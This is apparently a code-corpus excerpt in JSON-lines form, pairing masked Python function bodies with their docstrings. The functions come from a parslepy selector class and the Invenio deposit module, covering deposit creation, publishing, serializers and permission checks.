{"signature": "@classmethod<EOL><INDENT>def _add_parsley_ns(cls, namespace_dict):<DEDENT>", "body": "namespace_dict.update({<EOL>'<STR_LIT>' : cls.LOCAL_NAMESPACE,<EOL>'<STR_LIT>' : cls.LOCAL_NAMESPACE,<EOL>})<EOL>return namespace_dict<EOL>", "docstring": "Extend XPath evaluation with Parsley extensions' namespace", "id": "f9183:c2:m6"}
{"signature": "def make(self, selection):", "body": "cached = self._selector_cache.get(selection)<EOL>if cached:<EOL><INDENT>return cached<EOL><DEDENT>try:<EOL><INDENT>selector = lxml.etree.XPath(selection,<EOL>namespaces = self.namespaces,<EOL>extensions = self.extensions,<EOL>smart_strings=(self.SMART_STRINGS<EOL>or self._test_smart_strings_needed(selection)),<EOL>)<EOL><DEDENT>except lxml.etree.XPathSyntaxError as syntax_error:<EOL><INDENT>syntax_error.msg += \"<STR_LIT>\" % selection<EOL>raise syntax_error<EOL><DEDENT>except Exception as e:<EOL><INDENT>if self.DEBUG:<EOL><INDENT>print(repr(e), selection)<EOL><DEDENT>raise<EOL><DEDENT>self._selector_cache[selection] = Selector(selector)<EOL>return self._selector_cache[selection]<EOL>", "docstring": "XPath expression can also use EXSLT functions (as long as they are\nunderstood by libxslt)", "id": "f9183:c2:m7"}
{"signature": "def extract(self, document, selector, debug_offset='<STR_LIT>'):", "body": "selected = self.select(document, selector)<EOL>if selected is not None:<EOL><INDENT>if isinstance(selected, (list, tuple)):<EOL><INDENT>if not len(selected):<EOL><INDENT>return<EOL><DEDENT>return [self._extract_single(m) for m in selected]<EOL><DEDENT>else:<EOL><INDENT>return self._extract_single(selected)<EOL><DEDENT><DEDENT>else:<EOL><INDENT>if self.DEBUG:<EOL><INDENT>print(debug_offset, \"<STR_LIT>\")<EOL><DEDENT>return None<EOL><DEDENT>", "docstring": "Try and convert matching Elements to unicode strings.\n\nIf this fails, the selector evaluation probably already\nreturned some string(s) of some sort, or boolean value,\nor int/float, so return that instead.", "id": "f9183:c2:m9"}
{"signature": "def _default_element_extract(self, element):", "body": "return parslepy.funcs.extract_text(element)<EOL>", "docstring": "Overridable method to change how matching Elements\nare represented in output", "id": "f9183:c2:m10"}
{"signature": "def make(self, selection):", "body": "cached = self._selector_cache.get(selection)<EOL>if cached:<EOL><INDENT>return cached<EOL><DEDENT>namespaces = self.EXSLT_NAMESPACES<EOL>self._add_parsley_ns(namespaces)<EOL>try:<EOL><INDENT>m = self.REGEX_ENDING_ATTRIBUTE.match(selection)<EOL>if m:<EOL><INDENT>cssxpath = css_to_xpath(m.group(\"<STR_LIT>\"))<EOL>attribute = m.group(\"<STR_LIT>\").replace('<STR_LIT:|>', '<STR_LIT::>')<EOL>cssxpath = \"<STR_LIT>\" % (cssxpath, attribute)<EOL><DEDENT>else:<EOL><INDENT>cssxpath = css_to_xpath(selection)<EOL><DEDENT>selector = lxml.etree.XPath(<EOL>cssxpath,<EOL>namespaces = self.namespaces,<EOL>extensions = self.extensions,<EOL>smart_strings=(self.SMART_STRINGS<EOL>or self._test_smart_strings_needed(selection)),<EOL>)<EOL><DEDENT>except tuple(self.CSSSELECT_SYNTAXERROR_EXCEPTIONS) as syntax_error:<EOL><INDENT>if self.DEBUG:<EOL><INDENT>print(repr(syntax_error), selection)<EOL>print(\"<STR_LIT>\")<EOL><DEDENT>try:<EOL><INDENT>selector = lxml.etree.XPath(selection,<EOL>namespaces = self.namespaces,<EOL>extensions = self.extensions,<EOL>smart_strings=(self.SMART_STRINGS<EOL>or self._test_smart_strings_needed(selection)),<EOL>)<EOL><DEDENT>except lxml.etree.XPathSyntaxError as syntax_error:<EOL><INDENT>syntax_error.msg += \"<STR_LIT>\" % selection<EOL>raise syntax_error<EOL><DEDENT>except Exception as e:<EOL><INDENT>if self.DEBUG:<EOL><INDENT>print(repr(e), selection)<EOL><DEDENT>raise<EOL><DEDENT><DEDENT>except lxml.etree.XPathSyntaxError as syntax_error:<EOL><INDENT>syntax_error.msg += \"<STR_LIT>\" % selection<EOL>raise syntax_error<EOL><DEDENT>except Exception as e:<EOL><INDENT>if self.DEBUG:<EOL><INDENT>print(repr(e), selection)<EOL><DEDENT>raise<EOL><DEDENT>self._selector_cache[selection] = Selector(selector)<EOL>return self._selector_cache[selection]<EOL>", "docstring": "Scopes and selectors are tested in this order:\n* is this a CSS selector with an appended @something attribute?\n* is this a regular CSS selector?\n* is this an XPath expression?\n\nXPath expression can also use EXSLT functions (as long as they are\nunderstood by libxslt)", "id": "f9183:c3:m0"}
{"signature": "def _check_template():", "body": "extended = \"\"\"<STR_LIT>\"\"\"<EOL>rendered = render_template_string(<EOL>extended,<EOL>pid=dict(pid_value=None),<EOL>record=dict()<EOL>)<EOL>assert '<STR_LIT>' in rendered<EOL>assert '<STR_LIT>' in rendered<EOL>assert '<STR_LIT>' in rendered<EOL>assert '<STR_LIT>' in rendered<EOL>assert '<STR_LIT>' in rendered<EOL>assert '<STR_LIT>' in rendered<EOL>assert '<STR_LIT>' in rendered<EOL>", "docstring": "Check template.", "id": "f9188:m0"}
{"signature": "def object_as_dict(obj):", "body": "return {c.key: getattr(obj, c.key)<EOL>for c in inspect(obj).mapper.column_attrs}<EOL>", "docstring": "Make a dict from SQLAlchemy object.", "id": "f9190:m0"}
{"signature": "def stringio_to_base64(stringio_obj):", "body": "return binascii.b2a_base64(stringio_obj.getvalue())<EOL>", "docstring": "Get base64 encoded version of a BytesIO object.", "id": "f9191:m0"}
{"signature": "def make_file_fixture(filename, base64_file):", "body": "fp = BytesIO(binascii.a2b_base64(base64_file))<EOL>return fp, filename<EOL>", "docstring": "Generate a file fixture suitable for use with the Flask test client.\n\n    :param base64_file: A string encoding a file in base64. Use\n        file_to_base64() to get the base64 encoding of a file. If not provided\n        a PDF file be generated instead, including", "id": "f9191:m1"}
{"signature": "def make_pdf_fixture(filename, text=None):", "body": "if text is None:<EOL><INDENT>text = \"<STR_LIT>\" % filename<EOL><DEDENT>from reportlab.pdfgen import canvas<EOL>output = BytesIO()<EOL>c = canvas.Canvas(output)<EOL>c.drawString(<NUM_LIT:100>, <NUM_LIT:100>, text)<EOL>c.showPage()<EOL>c.save()<EOL>return make_file_fixture(filename, stringio_to_base64(output))<EOL>", "docstring": "Generate a PDF fixture.\n\n    It's suitable for use with Werkzeug test client and Flask test request\n    context.\n    Use of this function requires that reportlab have been installed.\n\n    :param filename: Desired filename.\n    :param text: Text to include in PDF. Defaults to \"Filename: <filename>\", if\n        not specified.", "id": "f9191:m2"}
{"signature": "def fill_oauth2_headers(json_headers, token):", "body": "headers = deepcopy(json_headers)<EOL>headers.append(<EOL>('<STR_LIT>', '<STR_LIT>'.format(token.access_token))<EOL>)<EOL>return headers<EOL>", "docstring": "Create authentication headers (with a valid oauth2 token).", "id": "f9191:m3"}
{"signature": "@classmethod<EOL><INDENT>def create(cls, object_type=None, object_uuid=None, **kwargs):<DEDENT>", "body": "assert '<STR_LIT>' in kwargs<EOL>kwargs.setdefault('<STR_LIT:status>', cls.default_status)<EOL>return super(DepositProvider, cls).create(<EOL>object_type=object_type, object_uuid=object_uuid, **kwargs)<EOL>", "docstring": "Create a new deposit identifier.\n\n        :param object_type: The object type (Default: ``None``)\n        :param object_uuid: The object UUID (Default: ``None``)\n        :param kwargs: It contains the pid value.", "id": "f9195:c0:m0"}
{"signature": "def deposit_minter(record_uuid, data):", "body": "provider = DepositProvider.create(<EOL>object_type='<STR_LIT>',<EOL>object_uuid=record_uuid,<EOL>pid_value=uuid.uuid4().hex,<EOL>)<EOL>data['<STR_LIT>'] = {<EOL>'<STR_LIT:id>': provider.pid.pid_value,<EOL>'<STR_LIT:status>': '<STR_LIT>',<EOL>}<EOL>return provider.pid<EOL>", "docstring": "Mint a deposit identifier.\n\n    A PID with the following characteristics is created:\n\n    .. code-block:: python\n\n        {\n            \"object_type\": \"rec\",\n            \"object_uuid\": record_uuid,\n            \"pid_value\": \"<new-pid-value>\",\n            \"pid_type\": \"depid\",\n        }\n\n    The following deposit meta information are updated:\n\n    .. code-block:: python\n\n        deposit['_deposit'] = {\n            \"id\": \"<new-pid-value>\",\n            \"status\": \"draft\",\n        }\n\n    :param record_uuid: Record UUID.\n    :param data: Record content.\n    :returns: A :class:`invenio_pidstore.models.PersistentIdentifier` object.", "id": "f9197:m0"}
{"signature": "def json_serializer(pid, data, *args):", "body": "if data is not None:<EOL><INDENT>response = Response(<EOL>json.dumps(data.dumps()),<EOL>mimetype='<STR_LIT:application/json>'<EOL>)<EOL><DEDENT>else:<EOL><INDENT>response = Response(mimetype='<STR_LIT:application/json>')<EOL><DEDENT>return response<EOL>", "docstring": "Build a JSON Flask response using the given data.\n\n    :param pid: The `invenio_pidstore.models.PersistentIdentifier` of the\n        record.\n    :param data: The record metadata.\n    :returns: A Flask response with JSON data.\n    :rtype: :py:class:`flask.Response`.", "id": "f9202:m0"}
{"signature": "def file_serializer(obj):", "body": "return {<EOL>\"<STR_LIT:id>\": str(obj.file_id),<EOL>\"<STR_LIT:filename>\": obj.key,<EOL>\"<STR_LIT>\": obj.file.size,<EOL>\"<STR_LIT>\": obj.file.checksum,<EOL>}<EOL>", "docstring": "Serialize a object.\n\n    :param obj: A :class:`invenio_files_rest.models.ObjectVersion` instance.\n    :returns: A dictionary with the fields to serialize.", "id": "f9202:m1"}
{"signature": "def json_file_serializer(obj, status=None):", "body": "return make_response(jsonify(file_serializer(obj)), status)<EOL>", "docstring": "JSON File Serializer.\n\n    :param obj: A :class:`invenio_files_rest.models.ObjectVersion` instance.\n    :param status: A HTTP Status. (Default: ``None``)\n    :returns: A Flask response with JSON data.\n    :rtype: :py:class:`flask.Response`.", "id": "f9202:m2"}
{"signature": "def json_files_serializer(objs, status=None):", "body": "files = [file_serializer(obj) for obj in objs]<EOL>return make_response(json.dumps(files), status)<EOL>", "docstring": "JSON Files Serializer.\n\n    :parma objs: A list of:class:`invenio_files_rest.models.ObjectVersion`\n        instances.\n    :param status: A HTTP Status. (Default: ``None``)\n    :returns: A Flask response with JSON data.\n    :rtype: :py:class:`flask.Response`.", "id": "f9202:m3"}
{"signature": "def json_file_response(obj=None, pid=None, record=None, status=None):", "body": "from invenio_records_files.api import FilesIterator<EOL>if isinstance(obj, FilesIterator):<EOL><INDENT>return json_files_serializer(obj, status=status)<EOL><DEDENT>else:<EOL><INDENT>return json_file_serializer(obj, status=status)<EOL><DEDENT>", "docstring": "JSON Files/File serializer.\n\n    :param obj: A :class:`invenio_files_rest.models.ObjectVersion` instance or\n        a :class:`invenio_records_files.api.FilesIterator` if it's a list of\n        files.\n    :param pid: PID value. (not used)\n    :param record: The record metadata. (not used)\n    :param status: The HTTP status code.\n    :returns: A Flask response with JSON data.\n    :rtype: :py:class:`flask.Response`.", "id": "f9202:m4"}
{"signature": "def process_minter(value):", "body": "try:<EOL><INDENT>return current_pidstore.minters[value]<EOL><DEDENT>except KeyError:<EOL><INDENT>raise click.BadParameter(<EOL>'<STR_LIT>'.format(<EOL>value, '<STR_LIT:U+002CU+0020>'.join(current_pidstore.minters.keys())<EOL>)<EOL>)<EOL><DEDENT>", "docstring": "Load minter from PIDStore registry based on given value.\n\n    :param value: Name of the minter.\n    :returns: The minter.", "id": "f9204:m0"}
{"signature": "def process_schema(value):", "body": "schemas = current_app.extensions['<STR_LIT>'].schemas<EOL>try:<EOL><INDENT>return schemas[value]<EOL><DEDENT>except KeyError:<EOL><INDENT>raise click.BadParameter(<EOL>'<STR_LIT>'.format(<EOL>value, '<STR_LIT:\\n>'.join(schemas.keys())<EOL>)<EOL>)<EOL><DEDENT>", "docstring": "Load schema from JSONSchema registry based on given value.\n\n    :param value: Schema path, relative to the directory when it was\n        registered.\n    :returns: The schema absolute path.", "id": "f9204:m1"}
{"signature": "@click.group()<EOL>def deposit():", "body": "", "docstring": "Deposit management commands.", "id": "f9204:m2"}
{"signature": "@deposit.command()<EOL>@click.argument('<STR_LIT:source>')<EOL>@with_appcontext<EOL>def schema(source):", "body": "click.echo(process_schema(source))<EOL>", "docstring": "Create deposit schema from an existing schema.", "id": "f9204:m3"}
{"signature": "@deposit.command()<EOL>@click.argument('<STR_LIT:source>', type=click.File('<STR_LIT:r>'), default=sys.stdin)<EOL>@click.option('<STR_LIT>', '<STR_LIT>', '<STR_LIT>', multiple=True)<EOL>@click.option('<STR_LIT>', is_flag=True, default=False)<EOL>@with_appcontext<EOL>def create(source, ids, force, pid_minter=None):", "body": "", "docstring": "Create new deposit.", "id": "f9204:m4"}
{"signature": "@deposit.command()<EOL>@click.option('<STR_LIT>', '<STR_LIT>', '<STR_LIT>', multiple=True)<EOL>def publish(ids):", "body": "", "docstring": "Publish selected deposits.", "id": "f9204:m5"}
{"signature": "@deposit.command()<EOL>@click.option('<STR_LIT>', '<STR_LIT>', '<STR_LIT>', multiple=True)<EOL>def edit(ids):", "body": "", "docstring": "Make selected deposits editable.", "id": "f9204:m6"}
{"signature": "@deposit.command()<EOL>@click.option('<STR_LIT>', '<STR_LIT>', '<STR_LIT>', multiple=True)<EOL>def discard(ids):", "body": "", "docstring": "Discard selected deposits.", "id": "f9204:m7"}
{"signature": "def __init__(self, app):", "body": "self.app = app<EOL>", "docstring": "Initialize state.", "id": "f9205:c0:m0"}
{"signature": "@cached_property<EOL><INDENT>def jsonschemas(self):<DEDENT>", "body": "_jsonschemas = {<EOL>k: v['<STR_LIT>']<EOL>for k, v in self.app.config['<STR_LIT>'].items()<EOL>if '<STR_LIT>' in v<EOL>}<EOL>return defaultdict(<EOL>lambda: self.app.config['<STR_LIT>'], _jsonschemas<EOL>)<EOL>", "docstring": "Load deposit JSON schemas.", "id": "f9205:c0:m1"}
{"signature": "@cached_property<EOL><INDENT>def schemaforms(self):<DEDENT>", "body": "_schemaforms = {<EOL>k: v['<STR_LIT>']<EOL>for k, v in self.app.config['<STR_LIT>'].items()<EOL>if '<STR_LIT>' in v<EOL>}<EOL>return defaultdict(<EOL>lambda: self.app.config['<STR_LIT>'], _schemaforms<EOL>)<EOL>", "docstring": "Load deposit schema forms.", "id": "f9205:c0:m2"}
{"signature": "def __init__(self, app=None):", "body": "if app:<EOL><INDENT>self.init_app(app)<EOL><DEDENT>", "docstring": "Extension initialization.", "id": "f9205:c1:m0"}
{"signature": "def init_app(self, app):", "body": "self.init_config(app)<EOL>app.register_blueprint(ui.create_blueprint(<EOL>app.config['<STR_LIT>']<EOL>))<EOL>app.extensions['<STR_LIT>'] = _DepositState(app)<EOL>if app.config['<STR_LIT>']:<EOL><INDENT>post_action.connect(index_deposit_after_publish, sender=app,<EOL>weak=False)<EOL><DEDENT>", "docstring": "Flask application initialization.\n\n        Initialize the UI endpoints.  Connect all signals if\n        `DEPOSIT_REGISTER_SIGNALS` is ``True``.\n\n        :param app: An instance of :class:`flask.Flask`.", "id": "f9205:c1:m1"}
{"signature": "def init_config(self, app):", "body": "app.config.setdefault(<EOL>'<STR_LIT>',<EOL>app.config.get('<STR_LIT>',<EOL>'<STR_LIT>'))<EOL>for k in dir(config):<EOL><INDENT>if k.startswith('<STR_LIT>'):<EOL><INDENT>app.config.setdefault(k, getattr(config, k))<EOL><DEDENT><DEDENT>", "docstring": "Initialize configuration.\n\n        :param app: An instance of :class:`flask.Flask`.", "id": "f9205:c1:m2"}
{"signature": "def __init__(self, app=None):", "body": "if app:<EOL><INDENT>self.init_app(app)<EOL><DEDENT>", "docstring": "Extension initialization.\n\n        :param app: An instance of :class:`flask.Flask`.", "id": "f9205:c2:m0"}
{"signature": "def init_app(self, app):", "body": "self.init_config(app)<EOL>blueprint = rest.create_blueprint(<EOL>app.config['<STR_LIT>']<EOL>)<EOL>@app.before_first_request<EOL>def extend_default_endpoint_prefixes():<EOL><INDENT>\"\"\"<STR_LIT>\"\"\"<EOL>endpoint_prefixes = utils.build_default_endpoint_prefixes(<EOL>dict(app.config['<STR_LIT>'])<EOL>)<EOL>current_records_rest = app.extensions['<STR_LIT>']<EOL>overlap = set(endpoint_prefixes.keys()) & set(<EOL>current_records_rest.default_endpoint_prefixes<EOL>)<EOL>if overlap:<EOL><INDENT>raise RuntimeError(<EOL>'<STR_LIT>'.format(<EOL>'<STR_LIT:U+002CU+0020>'.join(overlap)<EOL>)<EOL>)<EOL><DEDENT>current_records_rest.default_endpoint_prefixes.update(<EOL>endpoint_prefixes<EOL>)<EOL><DEDENT>app.register_blueprint(blueprint)<EOL>app.extensions['<STR_LIT>'] = _DepositState(app)<EOL>if app.config['<STR_LIT>']:<EOL><INDENT>post_action.connect(index_deposit_after_publish, sender=app,<EOL>weak=False)<EOL><DEDENT>", "docstring": "Flask application initialization.\n\n        Initialize the REST endpoints.  Connect all signals if\n        `DEPOSIT_REGISTER_SIGNALS` is True.\n\n        :param app: An instance of :class:`flask.Flask`.", "id": "f9205:c2:m1"}
{"signature": "def init_config(self, app):", "body": "for k in dir(config):<EOL><INDENT>if k.startswith('<STR_LIT>'):<EOL><INDENT>app.config.setdefault(k, getattr(config, k))<EOL><DEDENT><DEDENT>", "docstring": "Initialize configuration.\n\n        :param app: An instance of :class:`flask.Flask`.", "id": "f9205:c2:m2"}
{"signature": "def deposits_filter():", "body": "if not has_request_context() or admin_permission_factory().can():<EOL><INDENT>return Q()<EOL><DEDENT>else:<EOL><INDENT>return Q(<EOL>'<STR_LIT>', **{'<STR_LIT>': getattr(current_user, '<STR_LIT:id>', <NUM_LIT:0>)}<EOL>)<EOL><DEDENT>", "docstring": "Filter list of deposits.\n\n    Permit to the user to see all if:\n\n    * The user is an admin (see\n        func:`invenio_deposit.permissions:admin_permission_factory`).\n\n    * It's called outside of a request.\n\n    Otherwise, it filters out any deposit where user is not the owner.", "id": "f9206:m0"}
{"signature": "def index_deposit_after_publish(sender, action=None, pid=None, deposit=None):", "body": "if action == '<STR_LIT>':<EOL><INDENT>_, record = deposit.fetch_published()<EOL>index_record.delay(str(record.id))<EOL><DEDENT>", "docstring": "Index the record after publishing.\n\n    .. note:: if the record is not published, it doesn't index.\n\n    :param sender: Who send the signal.\n    :param action: Action executed by the sender. (Default: ``None``)\n    :param pid: PID object. (Default: ``None``)\n    :param deposit: Deposit object. (Default: ``None``)", "id": "f9210:m0"}
{"signature": "def __init__(self, id_, *args, **kwargs):", "body": "super(DepositScope, self).__init__(<EOL>id_='<STR_LIT>'.format(id_),<EOL>group='<STR_LIT>', *args, **kwargs<EOL>)<EOL>", "docstring": "Define the scope.", "id": "f9211:c0:m0"}
{"signature": "def mark_as_action(f):", "body": "f.__deposit_action__ = True<EOL>return f<EOL>", "docstring": "Decorator for marking method as deposit action.\n\n    Allows creation of new REST API action on ``Deposit`` subclass.\n    Following example shows possible `cloning` of a deposit instance.\n\n    .. code-block:: python\n\n        from invenio_deposit.api import Deposit\n\n        class CustomDeposit(Deposit):\n            @mark_as_action\n            def clone(self, pid=None):\n                new_bucket = self.files.bucket.clone()\n                new_deposit = Deposit.create(self.dumps())\n                new_deposit.files.bucket = new_bucket\n                new_deposit.commit()\n\n            @mark_as_action\n            def edit(self, pid=None):\n                # Extend existing action.\n                self['_last_editor'] = current_user.get_id()\n                return super(CustomDeposit, self).edit(pid=pid)\n\n            # Disable publish action from REST API.\n            def publish(self, pid=None):\n                return super(CustomDeposit, self).publish(pid=pid)\n\n    :param f: Decorated method.", "id": "f9212:m0"}
{"signature": "def extract_actions_from_class(record_class):", "body": "for name in dir(record_class):<EOL><INDENT>method = getattr(record_class, name, None)<EOL>if method and getattr(method, '<STR_LIT>', False):<EOL><INDENT>yield method.__name__<EOL><DEDENT><DEDENT>", "docstring": "Extract actions from class.", "id": "f9212:m1"}
{"signature": "def check_oauth2_scope(can_method, *myscopes):", "body": "def check(record, *args, **kwargs):<EOL><INDENT>@require_api_auth()<EOL>@require_oauth_scopes(*myscopes)<EOL>def can(self):<EOL><INDENT>return can_method(record)<EOL><DEDENT>return type('<STR_LIT>', (), {'<STR_LIT>': can})()<EOL><DEDENT>return check<EOL>", "docstring": "Base permission factory that check OAuth2 scope and can_method.\n\n    :param can_method: Permission check function that accept a record in input\n        and return a boolean.\n    :param myscopes: List of scopes required to permit the access.\n    :returns: A :class:`flask_principal.Permission` factory.", "id": "f9212:m2"}
{"signature": "def can_elasticsearch(record):", "body": "search = request._methodview.search_class()<EOL>search = search.get_record(str(record.id))<EOL>return search.count() == <NUM_LIT:1><EOL>", "docstring": "Check if a given record is indexed.\n\n    :param record: A record object.\n    :returns: If the record is indexed returns `True`, otherwise `False`.", "id": "f9212:m3"}
{"signature": "def index(method=None, delete=False):", "body": "if method is None:<EOL><INDENT>return partial(index, delete=delete)<EOL><DEDENT>@wraps(method)<EOL>def wrapper(self_or_cls, *args, **kwargs):<EOL><INDENT>\"\"\"<STR_LIT>\"\"\"<EOL>result = method(self_or_cls, *args, **kwargs)<EOL>try:<EOL><INDENT>if delete:<EOL><INDENT>self_or_cls.indexer.delete(result)<EOL><DEDENT>else:<EOL><INDENT>self_or_cls.indexer.index(result)<EOL><DEDENT><DEDENT>except RequestError:<EOL><INDENT>current_app.logger.exception('<STR_LIT>'.format(result))<EOL><DEDENT>return result<EOL><DEDENT>return wrapper<EOL>", "docstring": "Decorator to update index.\n\n    :param method: Function wrapped. (Default: ``None``)\n    :param delete: If `True` delete the indexed record. (Default: ``None``)", "id": "f9213:m0"}
{"signature": "def has_status(method=None, status='<STR_LIT>'):", "body": "if method is None:<EOL><INDENT>return partial(has_status, status=status)<EOL><DEDENT>@wraps(method)<EOL>def wrapper(self, *args, **kwargs):<EOL><INDENT>\"\"\"<STR_LIT>\"\"\"<EOL>if status != self.status:<EOL><INDENT>raise PIDInvalidAction()<EOL><DEDENT>return method(self, *args, **kwargs)<EOL><DEDENT>return wrapper<EOL>", "docstring": "Check that deposit has a defined status (default: draft).\n\n    :param method: Function executed if record has a defined status.\n        (Default: ``None``)\n    :param status: Defined status to check. (Default: ``'draft'``)", "id": "f9213:m1"}
{"signature": "def preserve(method=None, result=True, fields=None):", "body": "if method is None:<EOL><INDENT>return partial(preserve, result=result, fields=fields)<EOL><DEDENT>fields = fields or ('<STR_LIT>', )<EOL>@wraps(method)<EOL>def wrapper(self, *args, **kwargs):<EOL><INDENT>\"\"\"<STR_LIT>\"\"\"<EOL>data = {field: self[field] for field in fields if field in self}<EOL>result_ = method(self, *args, **kwargs)<EOL>replace = result_ if result else self<EOL>for field in data:<EOL><INDENT>replace[field] = data[field]<EOL><DEDENT>return result_<EOL><DEDENT>return wrapper<EOL>", "docstring": "Preserve fields in deposit.\n\n    :param method: Function to execute. (Default: ``None``)\n    :param result: If `True` returns the result of method execution,\n        otherwise `self`. (Default: ``True``)\n    :param fields: List of fields to preserve (default: ``('_deposit',)``).", "id": "f9213:m2"}
{"signature": "@property<EOL><INDENT>def pid(self):<DEDENT>", "body": "pid = self.deposit_fetcher(self.id, self)<EOL>return PersistentIdentifier.get(pid.pid_type,<EOL>pid.pid_value)<EOL>", "docstring": "Return an instance of deposit PID.", "id": "f9213:c0:m0"}
{"signature": "@property<EOL><INDENT>def record_schema(self):<DEDENT>", "body": "schema_path = current_jsonschemas.url_to_path(self['<STR_LIT>'])<EOL>schema_prefix = current_app.config['<STR_LIT>']<EOL>if schema_path and schema_path.startswith(schema_prefix):<EOL><INDENT>return current_jsonschemas.path_to_url(<EOL>schema_path[len(schema_prefix):]<EOL>)<EOL><DEDENT>", "docstring": "Convert deposit schema to a valid record schema.", "id": "f9213:c0:m1"}
{"signature": "def build_deposit_schema(self, record):", "body": "schema_path = current_jsonschemas.url_to_path(record['<STR_LIT>'])<EOL>schema_prefix = current_app.config['<STR_LIT>']<EOL>if schema_path:<EOL><INDENT>return current_jsonschemas.path_to_url(<EOL>schema_prefix + schema_path<EOL>)<EOL><DEDENT>", "docstring": "Convert record schema to a valid deposit schema.\n\n        :param record: The record used to build deposit schema.\n        :returns: The absolute URL to the schema or `None`.", "id": "f9213:c0:m2"}
{"signature": "def fetch_published(self):", "body": "pid_type = self['<STR_LIT>']['<STR_LIT>']['<STR_LIT:type>']<EOL>pid_value = self['<STR_LIT>']['<STR_LIT>']['<STR_LIT:value>']<EOL>resolver = Resolver(<EOL>pid_type=pid_type, object_type='<STR_LIT>',<EOL>getter=partial(self.published_record_class.get_record,<EOL>with_deleted=True)<EOL>)<EOL>return resolver.resolve(pid_value)<EOL>", "docstring": "Return a tuple with PID and published record.", "id": "f9213:c0:m3"}
{"signature": "@preserve(fields=('<STR_LIT>', '<STR_LIT>'))<EOL><INDENT>def merge_with_published(self):<DEDENT>", "body": "pid, first = self.fetch_published()<EOL>lca = first.revisions[self['<STR_LIT>']['<STR_LIT>']['<STR_LIT>']]<EOL>args = [lca.dumps(), first.dumps(), self.dumps()]<EOL>for arg in args:<EOL><INDENT>del arg['<STR_LIT>'], arg['<STR_LIT>']<EOL><DEDENT>args.append({})<EOL>m = Merger(*args)<EOL>try:<EOL><INDENT>m.run()<EOL><DEDENT>except UnresolvedConflictsException:<EOL><INDENT>raise MergeConflict()<EOL><DEDENT>return patch(m.unified_patches, lca)<EOL>", "docstring": "Merge changes with latest published version.", "id": "f9213:c0:m4"}
{"signature": "@index<EOL><INDENT>def commit(self, *args, **kwargs):<DEDENT>", "body": "return super(Deposit, self).commit(*args, **kwargs)<EOL>", "docstring": "Store changes on current instance in database and index it.", "id": "f9213:c0:m5"}
{"signature": "@classmethod<EOL><INDENT>@index<EOL>def create(cls, data, id_=None):<DEDENT>", "body": "data.setdefault('<STR_LIT>', current_jsonschemas.path_to_url(<EOL>current_app.config['<STR_LIT>']<EOL>))<EOL>if '<STR_LIT>' not in data:<EOL><INDENT>id_ = id_ or uuid.uuid4()<EOL>cls.deposit_minter(id_, data)<EOL><DEDENT>data['<STR_LIT>'].setdefault('<STR_LIT>', list())<EOL>if current_user and current_user.is_authenticated:<EOL><INDENT>creator_id = int(current_user.get_id())<EOL>if creator_id not in data['<STR_LIT>']['<STR_LIT>']:<EOL><INDENT>data['<STR_LIT>']['<STR_LIT>'].append(creator_id)<EOL><DEDENT>data['<STR_LIT>']['<STR_LIT>'] = creator_id<EOL><DEDENT>return super(Deposit, cls).create(data, id_=id_)<EOL>", "docstring": "Create a deposit.\n\n        Initialize the follow information inside the deposit:\n\n        .. code-block:: python\n\n            deposit['_deposit'] = {\n                'id': pid_value,\n                'status': 'draft',\n                'owners': [user_id],\n                'created_by': user_id,\n            }\n\n        The deposit index is updated.\n\n        :param data: Input dictionary to fill the deposit.\n        :param id_: Default uuid for the deposit.\n        :returns: The new created deposit.", "id": "f9213:c0:m6"}
{"signature": "@contextmanager<EOL><INDENT>def _process_files(self, record_id, data):<DEDENT>", "body": "if self.files:<EOL><INDENT>assert not self.files.bucket.locked<EOL>self.files.bucket.locked = True<EOL>snapshot = self.files.bucket.snapshot(lock=True)<EOL>data['<STR_LIT>'] = self.files.dumps(bucket=snapshot.id)<EOL>yield data<EOL>db.session.add(RecordsBuckets(<EOL>record_id=record_id, bucket_id=snapshot.id<EOL>))<EOL><DEDENT>else:<EOL><INDENT>yield data<EOL><DEDENT>", "docstring": "Snapshot bucket and add files in record during first publishing.", "id": "f9213:c0:m7"}
{"signature": "def _publish_new(self, id_=None):", "body": "minter = current_pidstore.minters[<EOL>current_app.config['<STR_LIT>']<EOL>]<EOL>id_ = id_ or uuid.uuid4()<EOL>record_pid = minter(id_, self)<EOL>self['<STR_LIT>']['<STR_LIT>'] = {<EOL>'<STR_LIT:type>': record_pid.pid_type,<EOL>'<STR_LIT:value>': record_pid.pid_value,<EOL>'<STR_LIT>': <NUM_LIT:0>,<EOL>}<EOL>data = dict(self.dumps())<EOL>data['<STR_LIT>'] = self.record_schema<EOL>with self._process_files(id_, data):<EOL><INDENT>record = self.published_record_class.create(data, id_=id_)<EOL><DEDENT>return record<EOL>", "docstring": "Publish new deposit.\n\n        :param id_: The forced record UUID.", "id": "f9213:c0:m8"}
{"signature": "def _publish_edited(self):", "body": "record_pid, record = self.fetch_published()<EOL>if record.revision_id == self['<STR_LIT>']['<STR_LIT>']['<STR_LIT>']:<EOL><INDENT>data = dict(self.dumps())<EOL><DEDENT>else:<EOL><INDENT>data = self.merge_with_published()<EOL><DEDENT>data['<STR_LIT>'] = self.record_schema<EOL>data['<STR_LIT>'] = self['<STR_LIT>']<EOL>record = record.__class__(data, model=record.model)<EOL>return record<EOL>", "docstring": "Publish the deposit after for editing.", "id": "f9213:c0:m9"}
{"signature": "@has_status<EOL><INDENT>@mark_as_action<EOL>def publish(self, pid=None, id_=None):<DEDENT>", "body": "pid = pid or self.pid<EOL>if not pid.is_registered():<EOL><INDENT>raise PIDInvalidAction()<EOL><DEDENT>self['<STR_LIT>']['<STR_LIT:status>'] = '<STR_LIT>'<EOL>if self['<STR_LIT>'].get('<STR_LIT>') is None:  <EOL><INDENT>self._publish_new(id_=id_)<EOL><DEDENT>else:  <EOL><INDENT>record = self._publish_edited()<EOL>record.commit()<EOL><DEDENT>self.commit()<EOL>return self<EOL>", "docstring": "Publish a deposit.\n\n        If it's the first time:\n\n        * it calls the minter and set the following meta information inside\n            the deposit:\n\n        .. code-block:: python\n\n            deposit['_deposit'] = {\n                'type': pid_type,\n                'value': pid_value,\n                'revision_id': 0,\n            }\n\n        * A dump of all information inside the deposit is done.\n\n        * A snapshot of the files is done.\n\n        Otherwise, published the new edited version.\n        In this case, if in the mainwhile someone already published a new\n        version, it'll try to merge the changes with the latest version.\n\n        .. note:: no need for indexing as it calls `self.commit()`.\n\n        Status required: ``'draft'``.\n\n        :param pid: Force the new pid value. (Default: ``None``)\n        :param id_: Force the new uuid value as deposit id. (Default: ``None``)\n        :returns: Returns itself.", "id": "f9213:c0:m10"}
